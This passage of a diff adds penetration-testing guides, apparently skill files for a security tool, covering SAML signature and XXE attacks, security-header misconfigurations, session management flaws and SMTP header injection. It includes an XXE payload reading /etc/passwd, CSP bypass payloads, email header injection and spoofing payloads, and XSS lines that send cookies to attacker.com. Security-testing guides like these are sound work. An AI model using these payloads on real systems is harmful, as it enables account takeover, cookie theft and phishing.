<!-- XSW2: Clone signed assertion, inject modified unsigned copy -->
|
||||
<!-- XSW3-8: Various placements exploiting XPath reference resolution -->
|
||||
```
|
||||
|
||||
**Tool**: `SAMLReQuest`, `esaml`, `saml-raider` (Burp plugin)
|
||||
|
||||
### Comment Injection (CVE-2018-0489 / Duo / OneLogin)
|
||||
|
||||
XML comments can split attribute values in some parsers:
|
||||
```xml
|
||||
<saml:NameID>admin<!--comment-->@evil.com</saml:NameID>
|
||||
<!-- Some SPs read: admin, others read: admin@evil.com -->
|
||||
|
||||
<saml:NameID>victim@corp.com<!---->@attacker.com</saml:NameID>
|
||||
```
|
||||
|
||||
### XML External Entity (SAML XXE)
|
||||
|
||||
Many SAML parsers process XML with external entities enabled:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<samlp:Response>
|
||||
<saml:Issuer>&xxe;</saml:Issuer>
|
||||
...
|
||||
</samlp:Response>
|
||||
```
|
||||
|
||||
### Signature Exclusion / No Validation
|
||||
|
||||
- Remove the `<ds:Signature>` element entirely — some SPs accept unsigned assertions
|
||||
- Modify the assertion, re-encode, submit without signature
|
||||
- Test with `schemaValidation=false` headers or params
|
||||
|
||||
### Algorithm Confusion
|
||||
|
||||
- Downgrade signing algorithm: replace `SHA256` with `SHA1` or `MD5`
|
||||
- Change `<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256">` to weaker variant
|
||||
- Some SPs accept attacker-specified algorithms
|
||||
|
||||
### XML Canonicalization Attacks
|
||||
|
||||
- Exploit differences between what is canonicalized/signed and what is processed
|
||||
- Insert namespace declarations that change canonical form
|
||||
- Test with `xml:space` and `xml:lang` attribute injection
|
||||
|
||||
### SAML Replay
|
||||
|
||||
- Capture a valid SAMLResponse, replay it
|
||||
- Test if `NotOnOrAfter` and `InResponseTo` conditions are validated
|
||||
- Some SPs accept expired or reused assertions
|
||||
|
||||
### Redirect Binding Bypass
|
||||
|
||||
- SAML HTTP-Redirect uses URL-encoded deflated XML
|
||||
- Decode: `zlib.decompress(base64.decode(param), -8)`
|
||||
- Modify and re-encode: often unsigned in redirect binding (only signed in POST)
|
||||
- RelayState not always validated — test for open redirect
|
||||
|
||||
### NameID Manipulation
|
||||
|
||||
```xml
|
||||
<!-- Try admin values -->
|
||||
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
|
||||
admin
|
||||
</saml:NameID>
|
||||
|
||||
<!-- Format confusion -->
|
||||
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">
|
||||
admin@corp.com
|
||||
</saml:NameID>
|
||||
```
|
||||
|
||||
### Attribute Statement Manipulation
|
||||
|
||||
```xml
|
||||
<!-- Inject admin role/group -->
|
||||
<saml:AttributeStatement>
|
||||
<saml:Attribute Name="Role">
|
||||
<saml:AttributeValue>administrator</saml:AttributeValue>
|
||||
</saml:Attribute>
|
||||
</saml:AttributeStatement>
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Base64 / Encoding Tricks**
|
||||
- URL encode the `SAMLResponse` value
|
||||
- Double base64 encode
|
||||
- Add padding (`=`) or remove it
|
||||
- Try URL-safe base64 variants
|
||||
|
||||
**XML Encoding**
|
||||
- `&`, `<`, `>` — test if SP unescapes before signature check
|
||||
- Unicode normalization in attribute values
|
||||
- Null bytes in NameID
|
||||
|
||||
**HTTP Parameter Pollution**
|
||||
```
|
||||
SAMLResponse=ORIGINAL&SAMLResponse=MODIFIED
|
||||
```
|
||||
Some parsers use first, some use last.
|
||||
|
||||
**Whitespace in Assertions**
|
||||
- Add/remove whitespace around XML elements after signature (changes hash but some SPs don't re-validate)
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Capture SAMLResponse** — Use Burp or browser devtools to intercept the POST
|
||||
2. **Decode** — `echo SAML_BASE64 | base64 -d | xmllint --format -`
|
||||
3. **Identify signed elements** — Check `ds:Signature` and `Reference URI` attribute
|
||||
4. **Test signature removal** — Delete `<ds:Signature>` block, re-encode, submit
|
||||
5. **Test XSW** — Use saml-raider Burp plugin to auto-generate XSW variants
|
||||
6. **Test comment injection** — Insert `<!---->` in NameID/email values
|
||||
7. **Test XXE** — Add DOCTYPE declaration with external entity
|
||||
8. **Test replay** — Resubmit captured response after delay
|
||||
9. **Test attribute injection** — Modify role/group attributes if signed at response level not assertion
|
||||
10. **Test redirect binding** — Decode-modify-encode unsigned redirect SAMLRequest/Response
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate successful authentication as a different user (e.g., `admin`) without valid credentials
|
||||
2. Show which XML manipulation technique bypassed signature validation
|
||||
3. Provide before/after XML diff showing the modification
|
||||
4. Confirm via session/cookie/response that the target account was accessed
|
||||
|
||||
## False Positives
|
||||
|
||||
- SP correctly validates signature over the exact element that is processed
|
||||
- Strict schema validation rejecting injected DOCTYPE/comments
|
||||
- Properly implemented InResponseTo tracking preventing replay
|
||||
- NameID bound to IdP-issued immutable identifier
|
||||
|
||||
## Impact
|
||||
|
||||
- Complete authentication bypass and account takeover
|
||||
- Privilege escalation to administrator roles
|
||||
- Access to all data in SAML-protected applications
|
||||
- Enterprise-wide compromise if IdP/SP trust is broad
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. saml-raider Burp extension automates XSW variants — try all 8 attack profiles
|
||||
2. Always test both SP-initiated and IdP-initiated flows — different code paths
|
||||
3. Check if RelayState is validated — open redirect chains are common
|
||||
4. Python `python3-saml` and OneLogin libraries have had repeated comment injection bugs
|
||||
5. Decode redirect binding: `import zlib,base64; zlib.decompress(base64.b64decode(s), -8)`
|
||||
6. Compare what `Reference URI` points to vs. what the application uses after processing
|
||||
7. WS-Federation tokens (used by Azure/ADFS) have similar issues — test `wresult` parameter
|
||||
8. SAML endpoints are often at `/saml/acs`, `/saml2/idp/SSO`, `/Shibboleth.sso/SAML2/POST`
|
||||
|
||||
## Summary
|
||||
|
||||
SAML's XML complexity is its weakness. Signature wrapping exploits the gap between what is signed and what is processed. Always test signature removal, XSW variants, comment injection, and replay — production deployments frequently skip one of these checks.
|
||||
241
strix/skills/vulnerabilities/security_headers.md
Normal file
241
strix/skills/vulnerabilities/security_headers.md
Normal file
|
|
@ -0,0 +1,241 @@
|
|||
---
|
||||
name: security-headers
|
||||
description: Security header misconfigurations and missing headers that enable XSS, clickjacking, MIME sniffing, and data leakage
|
||||
---
|
||||
|
||||
# Security Headers Misconfigurations
|
||||
|
||||
Missing or misconfigured HTTP security headers are among the most common web vulnerabilities. While individually low-severity, they enable or amplify attacks: missing CSP enables XSS persistence, missing HSTS enables SSL stripping, and misconfigured CORS allows cross-origin data theft.
|
||||
|
||||
## Headers Reference
|
||||
|
||||
### Content-Security-Policy (CSP)
|
||||
|
||||
Controls which resources can be loaded. Misconfiguration enables XSS.
|
||||
|
||||
**Missing (Critical)**
|
||||
```
|
||||
# No CSP = no restriction on inline scripts, external scripts, etc.
|
||||
```
|
||||
|
||||
**Dangerous Directives**
|
||||
```
|
||||
Content-Security-Policy: script-src 'unsafe-inline' # Inline scripts allowed
|
||||
Content-Security-Policy: script-src 'unsafe-eval' # eval() allowed
|
||||
Content-Security-Policy: script-src * # Any origin
|
||||
Content-Security-Policy: script-src https: # Any HTTPS source
|
||||
Content-Security-Policy: default-src * # Wildcard default
|
||||
```
|
||||
|
||||
**Bypass via Allowed CDNs**
|
||||
```
|
||||
# If script-src includes jsonp-enabled CDN:
|
||||
Content-Security-Policy: script-src https://accounts.google.com
|
||||
# Attack: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)">
|
||||
|
||||
Content-Security-Policy: script-src https://ajax.googleapis.com
|
||||
# Attack: <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js">
|
||||
# Then use AngularJS template injection: {{constructor.constructor('alert(1)')()}}
|
||||
```
|
||||
|
||||
**Bypass via base-uri Missing**
|
||||
```html
|
||||
<base href="https://attacker.com/">
|
||||
<!-- All relative script/style URLs now load from attacker -->
|
||||
```
|
||||
|
||||
**Nonce/Hash Bypass**
|
||||
```
|
||||
# Weak nonce: static, predictable, or reused across pages
|
||||
# Hash mismatch: modifying script content while hash stays
|
||||
```
|
||||
|
||||
**report-uri Only (No Block)**
|
||||
```
|
||||
Content-Security-Policy-Report-Only: script-src 'self'
|
||||
# Reports violations but doesn't block them
|
||||
```
|
||||
|
||||
### X-Frame-Options
|
||||
|
||||
Prevents clickjacking. Being replaced by CSP `frame-ancestors`.
|
||||
|
||||
```
|
||||
Missing → clickjacking possible
|
||||
X-Frame-Options: ALLOWALL → explicitly allows all framing
|
||||
X-Frame-Options: ALLOW-FROM https://attacker.com → allows attacker to frame
|
||||
```
|
||||
|
||||
**Bypass**
|
||||
- Use `<iframe sandbox>` — some browsers ignore X-Frame-Options in sandboxed iframes
|
||||
- Double-framing: top frame allowed, nested frame with payload
|
||||
- Replace with `Content-Security-Policy: frame-ancestors 'none'` for modern browsers
|
||||
|
||||
### X-Content-Type-Options
|
||||
|
||||
Prevents MIME sniffing.
|
||||
|
||||
```
|
||||
Missing → browser sniffs content type → may execute attacker-uploaded files as scripts
|
||||
# Upload file with JS content, serve as image/gif → browser may execute as script
|
||||
```
|
||||
|
||||
### Strict-Transport-Security (HSTS)
|
||||
|
||||
Prevents SSL stripping and protocol downgrade.
|
||||
|
||||
```
|
||||
Missing → HTTP possible → SSL strip attacks
|
||||
Short max-age: Strict-Transport-Security: max-age=300 → easily expired
|
||||
No includeSubDomains → subdomains vulnerable
|
||||
No preload → not in browser preload list → vulnerable on first visit
|
||||
```
|
||||
|
||||
**Ideal**
|
||||
```
|
||||
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
|
||||
```
|
||||
|
||||
### Referrer-Policy
|
||||
|
||||
Controls what `Referer` header is sent to third parties.
|
||||
|
||||
```
|
||||
Missing / Referrer-Policy: unsafe-url → full URL (including tokens) leaked to third parties
|
||||
# URL: https://app.com/reset?token=SECRET
|
||||
# User clicks external link → Referer: https://app.com/reset?token=SECRET sent to third party
|
||||
```
|
||||
|
||||
**Dangerous Values**
|
||||
```
|
||||
Referrer-Policy: unsafe-url # Full URL always
|
||||
Referrer-Policy: no-referrer-when-downgrade # Full URL on same-protocol
|
||||
```
|
||||
|
||||
### Permissions-Policy (Feature-Policy)
|
||||
|
||||
Controls browser feature access.
|
||||
|
||||
```
|
||||
Missing → page can access camera, microphone, geolocation, payment APIs
|
||||
Permissions-Policy: geolocation=*, camera=*, microphone=* → all origins allowed
|
||||
```
|
||||
|
||||
### Cross-Origin-Resource-Policy (CORP)
|
||||
|
||||
```
|
||||
Missing → resources loadable by any origin (enables spectre/side-channel)
|
||||
Cross-Origin-Resource-Policy: cross-origin → explicitly allows any origin
|
||||
```
|
||||
|
||||
### Cross-Origin-Opener-Policy (COOP)
|
||||
|
||||
```
|
||||
Missing → cross-origin windows can access opener window object
|
||||
Cross-Origin-Opener-Policy: unsafe-none → explicitly allows
|
||||
```
|
||||
|
||||
### Cross-Origin-Embedder-Policy (COEP)
|
||||
|
||||
```
|
||||
Missing → SharedArrayBuffer unavailable (but also misconfig allowing unsafe)
|
||||
Cross-Origin-Embedder-Policy: unsafe-none → permits cross-origin resources without CORP
|
||||
```
|
||||
|
||||
### Cache-Control for Sensitive Pages
|
||||
|
||||
```
|
||||
Missing Cache-Control on authenticated pages:
|
||||
→ Responses cached by browser/proxy → another user on shared computer accesses data
|
||||
→ BFCache preserves authenticated page state after logout
|
||||
|
||||
Secure:
|
||||
Cache-Control: no-store, no-cache, must-revalidate
|
||||
Pragma: no-cache # HTTP/1.0 compat
|
||||
```
|
||||
|
||||
### Server / X-Powered-By
|
||||
|
||||
```
|
||||
Server: Apache/2.4.49 → version disclosure → targeted exploits
|
||||
X-Powered-By: PHP/7.4.3 → version disclosure
|
||||
```
|
||||
|
||||
### Set-Cookie Flags
|
||||
|
||||
```
|
||||
# Missing Secure flag → cookie sent over HTTP
|
||||
Set-Cookie: session=X (no Secure)
|
||||
|
||||
# Missing HttpOnly → JavaScript can read cookie → XSS steals session
|
||||
Set-Cookie: session=X (no HttpOnly)
|
||||
|
||||
# Missing SameSite → CSRF possible
|
||||
Set-Cookie: session=X (no SameSite)
|
||||
|
||||
# Ideal:
|
||||
Set-Cookie: session=X; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Scan all pages** — Run every authenticated endpoint through header analysis
|
||||
2. **CSP analysis** — Parse policy, identify `unsafe-inline`, `unsafe-eval`, wildcards, JSONP endpoints
|
||||
3. **Missing headers** — Check HSTS, X-Content-Type-Options, X-Frame-Options/CSP frame-ancestors
|
||||
4. **Cookie flags** — Enumerate all Set-Cookie headers, verify Secure/HttpOnly/SameSite
|
||||
5. **Information disclosure** — Check Server, X-Powered-By, X-AspNet-Version
|
||||
6. **Cache headers** — Verify no-store on authenticated/sensitive pages
|
||||
7. **CORS** — Covered in cors_misconfiguration.md but check Origin: reflection
|
||||
8. **Feature Policy** — Check camera/mic/geo permissions if not needed
|
||||
|
||||
## Tools
|
||||
|
||||
```bash
|
||||
# Command line check
|
||||
curl -I https://target.com
|
||||
|
||||
# Securityheaders.com (online)
|
||||
# Mozilla Observatory (online)
|
||||
|
||||
# Nikto
|
||||
nikto -h https://target.com
|
||||
|
||||
# testssl.sh for TLS + headers
|
||||
testssl.sh https://target.com
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. For CSP: demonstrate that XSS payload executes due to policy gap
|
||||
2. For clickjacking: show target page loads in iframe on attacker page
|
||||
3. For HSTS: demonstrate HTTP access works (no redirect/error)
|
||||
4. For cookie flags: show cookie accessible via JavaScript (`document.cookie`) if HttpOnly missing
|
||||
5. For cache: show sensitive page returned from cache after logout
|
||||
|
||||
## Impact Classification
|
||||
|
||||
| Header | Missing Impact |
|
||||
|--------|---------------|
|
||||
| CSP | XSS amplification, persistent XSS |
|
||||
| X-Frame-Options | Clickjacking → credential theft |
|
||||
| HSTS | SSL strip → credential theft |
|
||||
| X-Content-Type-Options | MIME sniff XSS from uploads |
|
||||
| Secure cookie flag | Cookie theft over HTTP |
|
||||
| HttpOnly cookie flag | Cookie theft via XSS |
|
||||
| SameSite cookie | CSRF attacks |
|
||||
| Referrer-Policy | Token/secret leakage to third parties |
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Missing CSP is noteworthy but needs an actual XSS vector to be impactful
|
||||
2. Report HSTS missing only if HTTP version of site is accessible (not redirect)
|
||||
3. Clickjacking requires a meaningful action (login, purchase, settings change)
|
||||
4. SameSite=Lax is now default in Chrome — test older browsers and cross-site contexts
|
||||
5. `Content-Security-Policy-Report-Only` is NOT protective — report it as misconfigured CSP
|
||||
6. Version disclosure headers should note the actual CVEs for those versions
|
||||
7. Cache-Control on authenticated pages is often accepted by programs as P3/informational
|
||||
8. Feature-Policy misconfiguration is usually low severity unless camera/mic accessible
|
||||
|
||||
## Summary
|
||||
|
||||
Security headers are cheap to add and expensive to miss. Prioritize CSP (XSS defense), HSTS (transport security), cookie flags (session security), and X-Content-Type-Options (upload abuse). Each missing header multiplies the impact of other vulnerabilities.
|
||||
222
strix/skills/vulnerabilities/session_management.md
Normal file
222
strix/skills/vulnerabilities/session_management.md
Normal file
|
|
@ -0,0 +1,222 @@
|
|||
---
|
||||
name: session-management
|
||||
description: Session management vulnerabilities — fixation, token prediction, concurrent session abuse, and logout bypass
|
||||
---
|
||||
|
||||
# Session Management
|
||||
|
||||
Session management vulnerabilities allow attackers to impersonate authenticated users by stealing, fixing, predicting, or reusing session tokens. Session security is foundational — a weak session means all other security controls can be bypassed.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Session Token Locations**
|
||||
- HTTP cookies (`Set-Cookie: session=TOKEN`)
|
||||
- URL parameters (`?session=TOKEN`, `?token=TOKEN`, `?PHPSESSID=TOKEN`)
|
||||
- HTTP headers (`Authorization: Bearer TOKEN`, `X-Auth-Token: TOKEN`)
|
||||
- Hidden form fields, local/sessionStorage
|
||||
- JWT in various locations
|
||||
|
||||
**Vulnerable Areas**
|
||||
- Login flow (token generation and issuance)
|
||||
- Logout flow (token invalidation)
|
||||
- Password change / account recovery (old sessions)
|
||||
- Role changes (privilege escalation without re-auth)
|
||||
- Concurrent sessions (multiple active sessions)
|
||||
- Token rotation frequency
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Attacker sets victim's session ID before authentication:
|
||||
|
||||
```
|
||||
1. Attacker visits: GET /login → Set-Cookie: PHPSESSID=ATTACKER_CHOSEN_ID
|
||||
2. Attacker sends victim a link with their session ID:
|
||||
https://target.com/login?PHPSESSID=ATTACKER_CHOSEN_ID
|
||||
3. Victim logs in using the attacker's session ID
|
||||
4. Session is now authenticated with attacker's known ID
|
||||
5. Attacker uses the same session ID → accesses victim's account
|
||||
|
||||
# Test: Set-Cookie: session=FIXED_VALUE before login
|
||||
# After login, check if session ID changed (it should)
|
||||
# If session ID unchanged → session fixation
|
||||
```
|
||||
|
||||
**Session ID in URL**
|
||||
```
|
||||
# If session in URL, test fixation via:
|
||||
https://target.com/login?session=FIXED_VALUE
|
||||
# Click login → check if new session issued
|
||||
```
|
||||
|
||||
### Weak Token Entropy
|
||||
|
||||
```python
|
||||
# Predictable session tokens:
|
||||
# Sequential: session1, session2, session3
|
||||
# Timestamp: 1620000000, 1620000001
|
||||
# Low entropy: 4-char hex = 65536 possibilities
|
||||
# Base64-encoded: admin_1234 → YWRtaW5fMTIzNA==
|
||||
|
||||
# Test entropy:
|
||||
# Collect 50+ tokens, analyze patterns
|
||||
# Base64 decode tokens
|
||||
# Check for time-based patterns
|
||||
# Analyze token length (< 128 bits entropy = weak)
|
||||
|
||||
import math
|
||||
tokens = ["COLLECTED_TOKENS"]
|
||||
# Calculate entropy per token
|
||||
```
|
||||
|
||||
### Insufficient Token Invalidation After Logout
|
||||
|
||||
```
|
||||
1. Log in → record session token
|
||||
2. Log out
|
||||
3. Replay old session token
|
||||
4. If still authenticated → session not invalidated on logout
|
||||
|
||||
# Test with:
|
||||
GET /api/profile
|
||||
Cookie: session=OLD_TOKEN
|
||||
# After logout → should return 401, not user data
|
||||
```
|
||||
|
||||
### Insufficient Invalidation After Password Change
|
||||
|
||||
```
|
||||
1. Login session A = TOKEN_A
|
||||
2. Open second session B = TOKEN_B
|
||||
3. In session A: change password
|
||||
4. Test session B: should be invalidated
|
||||
5. If session B still works → old sessions survive password change
|
||||
# This enables: attacker who had old token stays logged in after victim changes password
|
||||
```
|
||||
|
||||
### Session Not Invalidated After Role Change
|
||||
|
||||
```
|
||||
# If user is demoted from admin → session should lose admin privileges immediately
|
||||
# Test: capture admin session token, remove admin role via another session
|
||||
# Replay old admin token → should return 403
|
||||
```
|
||||
|
||||
### Concurrent Session Abuse
|
||||
|
||||
```
|
||||
# Test if multiple simultaneous sessions allowed
|
||||
# If no concurrent session limit, attacker who obtains session token can stay active
|
||||
# Check: does new login invalidate old sessions?
|
||||
# Does the app enforce session limits?
|
||||
```
|
||||
|
||||
### Cookie Attribute Issues
|
||||
|
||||
```
|
||||
# Missing Secure flag → session cookie sent over HTTP
|
||||
# Missing HttpOnly → document.cookie readable by XSS
|
||||
# Missing SameSite → CSRF possible to use session
|
||||
|
||||
# Domain scope too broad:
|
||||
Set-Cookie: session=TOKEN; Domain=.target.com
|
||||
# Any subdomain can read this cookie → subdomain takeover → cookie theft
|
||||
|
||||
# Path scope too broad:
|
||||
Set-Cookie: session=TOKEN; Path=/
|
||||
# Third-party apps at subdirectories can access
|
||||
```
|
||||
|
||||
### Session Timeout Issues
|
||||
|
||||
```
|
||||
# No absolute timeout:
|
||||
# Session never expires → stolen tokens valid forever
|
||||
|
||||
# No idle timeout:
|
||||
# Inactive session valid indefinitely
|
||||
|
||||
# Test: capture session token, wait 24h, replay
|
||||
# Session should expire after reasonable idle time
|
||||
|
||||
# Check "remember me" functionality:
|
||||
# Persistent tokens should have longer expiry than session tokens
|
||||
# Test if remember-me token invalidated on logout
|
||||
```
|
||||
|
||||
### JWT-Specific Issues
|
||||
|
||||
```
|
||||
# alg: none — covered in jwt.md
|
||||
# Short expiry not enforced → old JWT tokens work
|
||||
# Missing jti (JWT ID) → replay attacks
|
||||
# Sensitive data in payload → readable without secret
|
||||
# Symmetric vs asymmetric confusion
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Token collection** — Collect 100+ session tokens, analyze entropy and patterns
|
||||
2. **Fixation test** — Visit login page, note session ID, log in, check if session ID changed
|
||||
3. **Logout test** — Log out, replay old session token, verify invalidation
|
||||
4. **Password change test** — Change password, test if other sessions invalidated
|
||||
5. **Cookie flags** — Inspect all Set-Cookie headers for Secure/HttpOnly/SameSite
|
||||
6. **Domain scope** — Check if cookie domain is too broad (e.g., `.target.com`)
|
||||
7. **Timeout test** — Wait for idle timeout, replay token
|
||||
8. **Concurrent sessions** — Login from two browsers, test if both active simultaneously
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Session Token Theft Vectors**
|
||||
```
|
||||
# XSS → document.cookie exfiltration
|
||||
# Network sniffing (no HTTPS, no Secure flag)
|
||||
# Log injection → tokens in logs → log exposure
|
||||
# Referer header leakage (token in URL)
|
||||
# Browser history (token in URL)
|
||||
# Cross-subdomain cookie theft via XSS on subdomain
|
||||
```
|
||||
|
||||
**Forced Session Expiry Bypass**
|
||||
```
|
||||
# Keep session alive with periodic requests
|
||||
# Modify token timestamp component to extend validity
|
||||
# Use refresh token to get new access token after expiry
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. For fixation: show same session ID before and after login with different user
|
||||
2. For logout bypass: show 200 response with user data using old session after logout
|
||||
3. For weak entropy: show two sequential/patterned tokens proving predictability
|
||||
4. For cookie flags: show cookie accessible via `document.cookie` (HttpOnly missing)
|
||||
|
||||
## False Positives
|
||||
|
||||
- Session ID rotation implemented correctly on login
|
||||
- Proper invalidation on logout verified (401 returned)
|
||||
- Tokens generated with cryptographically secure PRNG
|
||||
- `HttpOnly` set but XSS still possible (flag doesn't prevent all abuse)
|
||||
|
||||
## Impact
|
||||
|
||||
- Session hijacking → full account takeover
|
||||
- Session fixation → ATO with attacker-controlled session
|
||||
- Persistent access after logout → ongoing unauthorized access
|
||||
- Cookie theft via subdomain XSS → access to main application
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Session fixation is common in PHP apps using `PHPSESSID` in URL parameters
|
||||
2. Always test logout → replay — it's a quick win often missed in code reviews
|
||||
3. `SameSite=Lax` (default in Chrome) doesn't protect POST requests on initial navigation
|
||||
4. JWT tokens in localStorage are readable by any same-origin JS — prefer HttpOnly cookies
|
||||
5. Refresh token leakage is worse than access token leakage (longer-lived)
|
||||
6. Password change without invalidating all sessions = automatic ATO continuation
|
||||
7. Check `/api/auth/logout` vs `/logout` — different endpoints may have different logout logic
|
||||
8. `regenerate_id()` must be called on privilege level change, not just login
|
||||
|
||||
## Summary
|
||||
|
||||
Session management is the foundation of authentication. Test token entropy, fixation, logout invalidation, and cookie flags systematically. A single weakness — a predictable token or surviving session after logout — gives attackers full account access without needing credentials.
|
||||
169
strix/skills/vulnerabilities/smtp_injection.md
Normal file
169
strix/skills/vulnerabilities/smtp_injection.md
Normal file
|
|
@ -0,0 +1,169 @@
|
|||
---
|
||||
name: smtp-injection
|
||||
description: SMTP header injection and email-based attacks — CC/BCC injection, email spoofing, and spam relay abuse
|
||||
---
|
||||
|
||||
# SMTP Injection
|
||||
|
||||
SMTP injection occurs when user-supplied input is incorporated into email headers or commands without sanitization. Attackers can inject additional recipients (CC/BCC), forge sender addresses, add custom headers, or turn the application into an open spam relay.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Vulnerable Features**
|
||||
- Contact forms / "Send message to owner" features
|
||||
- Password reset emails with user-controlled fields
|
||||
- Email notification subscriptions
|
||||
- Invoice/receipt emails with user data
|
||||
- Forwarding features ("Share this page")
|
||||
- "Invite a friend" / referral systems
|
||||
- Support ticket email notifications
|
||||
- "Email yourself" export features
|
||||
|
||||
**User-Controlled Fields in Emails**
|
||||
- To address
|
||||
- Subject line
|
||||
- From/Reply-To (user's email input)
|
||||
- Email body (message content)
|
||||
- CC/BCC fields
|
||||
|
||||
## Injection Characters
|
||||
|
||||
```
|
||||
\n = LF (0x0A) → new SMTP header
|
||||
\r = CR (0x0D) → part of CRLF
|
||||
\r\n = CRLF → new SMTP header (most reliable)
|
||||
%0a = URL-encoded LF
|
||||
%0d = URL-encoded CR
|
||||
%0d%0a = URL-encoded CRLF
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
### CC/BCC Injection (Spam Relay)
|
||||
|
||||
```
|
||||
# In email/name field:
|
||||
victim@victim.com%0ACc:attacker@evil.com
|
||||
victim@victim.com%0D%0ACc:attacker@evil.com
|
||||
victim@victim.com%0ABcc:attacker@evil.com%0ABcc:attacker2@evil.com
|
||||
|
||||
# In subject field:
|
||||
Important Update%0ACc:target@evil.com
|
||||
Reset Password%0D%0ABcc:attacker@evil.com
|
||||
|
||||
# In name field:
|
||||
John Doe%0ATo:spamtarget@evil.com%0ASubject:Spam
|
||||
```
|
||||
|
||||
### To Field Injection
|
||||
|
||||
```
|
||||
# Multiple recipients via comma (often allowed by mail function):
|
||||
victim@victim.com,attacker@evil.com
|
||||
|
||||
# SMTP verb injection:
|
||||
victim@victim.com\nDATA\nFrom: forged@bank.com\nSubject: Urgent\n\nSpam content\n.
|
||||
|
||||
# Injection with CC:
|
||||
victim@victim.com\nCC: attacker@attacker.com
|
||||
```
|
||||
|
||||
### Subject Header Injection
|
||||
|
||||
```
|
||||
# Add custom headers:
|
||||
Reset Password\r\nBCC:attacker@evil.com
|
||||
|
||||
# Override MIME type:
|
||||
Invoice\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>
|
||||
|
||||
# Add X-header for phishing:
|
||||
Your order\r\nX-Spam-Status: No\r\nX-Priority: 1\r\nFrom: noreply@bank.com
|
||||
```
|
||||
|
||||
### Body Injection (XSS in HTML Email)
|
||||
|
||||
```html
|
||||
<!-- If email body is HTML and sanitization is insufficient: -->
|
||||
<script>document.location='http://attacker.com/?c='+document.cookie</script>
|
||||
<img src=x onerror=fetch('http://attacker.com/?c='+encodeURIComponent(document.cookie))>
|
||||
<a href="http://attacker.com">Click here to verify</a>
|
||||
```
|
||||
|
||||
### Open Relay Test
|
||||
|
||||
```bash
|
||||
# Test if app will relay email to arbitrary addresses
|
||||
# Contact form → send to any email:
|
||||
To: external-victim@any-domain.com ← not the site owner
|
||||
Subject: Test
|
||||
Message: Testing relay
|
||||
|
||||
# If email delivered → open relay
|
||||
# Can be abused for spam campaigns using app's reputation
|
||||
```
|
||||
|
||||
## Email Spoofing
|
||||
|
||||
### SPF Bypass
|
||||
|
||||
```
|
||||
# If app sends email from user-controlled From: address:
|
||||
From: admin@target.com ← forged sender
|
||||
|
||||
# SPF only checks envelope sender (MAIL FROM), not header From:
|
||||
# DMARC alignment requires both to match
|
||||
# Test: can you set From: to target.com's domain?
|
||||
```
|
||||
|
||||
### Reply-To Manipulation
|
||||
|
||||
```
|
||||
# Set Reply-To to attacker's address:
|
||||
# Victim replies → reply goes to attacker, not original sender
|
||||
Reply-To: attacker@evil.com%0D%0AFrom:noreply@target.com
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find email-sending features** — Password reset, contact, invite, notification settings
|
||||
2. **Inject CRLF in all fields** — Name, email, subject, message → check for CC/BCC delivery
|
||||
3. **Test comma-separated To** — `victim@x.com,attacker@x.com` in email field
|
||||
4. **Test body injection** — HTML/XSS in message field
|
||||
5. **Test From/Reply-To control** — Can you set arbitrary sender?
|
||||
6. **Test open relay** — Send to non-target email addresses via contact form
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate that an injected CC/BCC recipient received the email
|
||||
2. Show the raw email headers proving the injection
|
||||
3. For spam relay: show email delivered to an address not intended by the application
|
||||
4. For XSS in email: show the rendered HTML in email client
|
||||
|
||||
## False Positives
|
||||
|
||||
- Input sanitized (CRLF stripped before use in headers)
|
||||
- Using SMTP library that validates header values
|
||||
- Injection reflected in body (not headers) — still test for HTML injection
|
||||
- Email queued but not delivered (test with patient waiting)
|
||||
|
||||
## Impact
|
||||
|
||||
- Spam relay using trusted application domain → domain reputation damage
|
||||
- CC/BCC injection → email interception, privacy violation
|
||||
- Phishing via forged sender → credential theft
|
||||
- XSS in HTML email → cookie/token theft when victim opens email
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. CRLF injection in email fields is often overlooked in standard web security testing
|
||||
2. Comma-separated emails in the `To` field are often accepted directly by `mail()` functions
|
||||
3. Use your own email address as both victim and attacker for safe testing
|
||||
4. `php mail()` is particularly vulnerable to CRLF injection in the `$to`, `$subject`, and `$headers` parameters
|
||||
5. Test in staging/dev environments to avoid spamming real users
|
||||
6. Combine with domain spoofing analysis — if From header is injectable + no DMARC, phishing risk is critical
|
||||
7. HTML injection in email (without JS execution) is still reportable as phishing vector
|
||||
|
||||
## Summary
|
||||
|
||||
SMTP injection enables spam relay, header forgery, and email interception by inserting CRLF sequences into email-sending functions. Test every user-controlled field that gets incorporated into emails. Comma-separated recipients and CRLF header injection are the most commonly found variants in modern web applications.
|
||||
171
strix/skills/vulnerabilities/ssi_injection.md
Normal file
171
strix/skills/vulnerabilities/ssi_injection.md
Normal file
|
|
@ -0,0 +1,171 @@
|
|||
---
|
||||
name: ssi-injection
|
||||
